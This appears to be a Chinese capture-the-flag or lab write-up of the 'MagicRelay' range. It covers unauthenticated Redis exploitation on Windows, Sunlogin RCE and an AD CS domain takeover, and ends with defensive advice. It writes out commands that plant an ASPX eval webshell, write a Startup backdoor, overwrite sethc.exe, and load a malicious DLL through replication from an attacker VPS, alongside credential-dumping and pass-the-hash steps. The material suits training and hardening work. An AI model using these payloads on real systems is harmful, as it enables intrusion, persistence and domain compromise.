春秋云境-MagicRelay
字数 2086 2025-08-29 08:30:19
Redis未授权访问漏洞利用与内网渗透实战指南
一、Redis未授权访问漏洞概述
Redis未授权访问漏洞是指Redis服务在默认配置下未设置密码认证,导致攻击者可以直接连接到Redis服务并执行任意命令。这种漏洞在内网渗透中经常出现,危害极大。
漏洞发现方法
- 使用端口扫描工具发现6379端口开放
- 使用redis-cli直接连接测试:
redis-cli -h <target_ip> - 使用nmap脚本扫描:
nmap -p 6379 --script redis-info <target_ip>
二、Redis漏洞利用方法
1. Webshell写入
适用条件:
- 存在IIS服务时可尝试写入
C:/inetpub/wwwroot/ - 其他Web服务需要猜测目录
- Administrator权限可直接写,普通用户看运气,Network Service权限无法写入
操作步骤:
config set dir "C:/inetpub/wwwroot/"
config set dbfilename "shell.aspx"
set x "<%eval request("cmd")%>"
save
2. 启动项写入
适用条件:
- Administrator权限可直接写
- 普通用户需要猜用户名
- Network Service权限无法写入
操作步骤:
config set dir "C:/Users/<username>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
config set dbfilename "backdoor.exe"
set x "<恶意exe内容>"
save
3. 系统文件覆写
适用条件:
- 需要System权限
- 常用于RDP登录界面利用
操作步骤:
config set dir "C:/Windows/System32/"
config set dbfilename "sethc.exe"
set x "<cmd.exe内容>"
save
4. DLL劫持利用(推荐方法)
4.1 原理概述
Redis在执行bgsave操作时会加载dbghelp.dll,如果应用目录中存在恶意dbghelp.dll,则会被优先加载执行。
4.2 利用步骤
步骤1:生成恶意DLL
- 下载DLL劫持工具:https://github.com/JKme/sb_kiddie-/blob/master/hacking_win/dll_hijack/DLLHijacker.py
- 修改DllHijacker.py,指定目标DLL路径
- 使用Visual Studio 2019生成项目文件
- 修改项目属性(关键步骤)
- 生成Release x64版本的DLL文件
步骤2:设置Redis主从复制
- 下载RabR工具:https://github.com/0671/RabR
- 将生成的DLL文件放入RabR文件夹
- 在VPS上运行RabR,开放对应端口
步骤3:执行主从复制
slaveof <vps_ip> <port>
config set dir "C:/Program Files/Redis/"
config set dbfilename "dbghelp.dll"
save
步骤4:触发DLL加载
执行bgsave命令触发DLL加载
三、内网渗透扩展
1. 内网信息收集
- 使用fscan扫描内网
- 发现域环境:xiaorang.lab
- 收集域内主机信息
2. 向日葵RCE漏洞利用
漏洞描述:
向日葵个人版 for Windows <= 11.0.0.33存在远程代码执行漏洞(CNVD-2022-10270)
利用步骤:
- 发现向日葵随机开放的web端口(40000以上)
- 获取CID:访问
/cgi-bin/rpc?action=verify-haras - 执行命令:使用sunlogin_rce工具(https://github.com/Mr-xn/sunlogin_rce)
3. 权限提升与横向移动
- 使用mimikatz抓取hash
- 使用SharpHound收集域信息(需要System权限)
- 使用PetitPotato提权
- 上传后门程序到
C:\Program Files\Redis
4. AD CS证书服务漏洞利用
漏洞描述:
AD CS允许请求任意DNS主机名的计算机证书,可模拟域控制器实现域接管。
利用步骤:
-
创建新机器账号:
- 使用现有机器账号WIN-YUYAOX9Q$的hash
- 创建新机器账号
-
申请证书模板:
certreq -submit -attrib "CertificateTemplate:Machine" csr.req cert.cer -
Schannel利用:
- 将pfx导出为.key和.crt文件
- 使用PassTheCert工具(https://github.com/AlmondOffSec/PassTheCert)
- 配置RBCD
-
获取域控权限:
- 申请服务票据(ST)
- 导入票据(PTT)
- 无密码登录域控
- SAM转储获取hash
- Pass-the-Hash(PTH)攻击
四、防御建议
-
Redis服务加固:
- 设置强密码认证
- 限制绑定IP
- 禁用高危命令
- 使用低权限账户运行
-
向日葵漏洞防御:
- 升级到最新版本
- 限制访问向日葵端口
-
AD CS防御:
- 限制证书模板权限
- 监控异常证书请求
- 启用证书管理器审核
-
通用防御措施:
- 定期更新补丁
- 最小权限原则
- 网络分段隔离
- 启用日志审计
五、工具清单
-
Redis利用工具:
- redis-cli
- RabR (https://github.com/0671/RabR)
-
DLL劫持工具:
- DLLHijacker (https://github.com/JKme/sb_kiddie-)
-
内网渗透工具:
- fscan
- mimikatz
- SharpHound
- PetitPotato
-
AD CS利用工具:
- PassTheCert (https://github.com/AlmondOffSec/PassTheCert)
-
向日葵RCE工具:
- sunlogin_rce (https://github.com/Mr-xn/sunlogin_rce)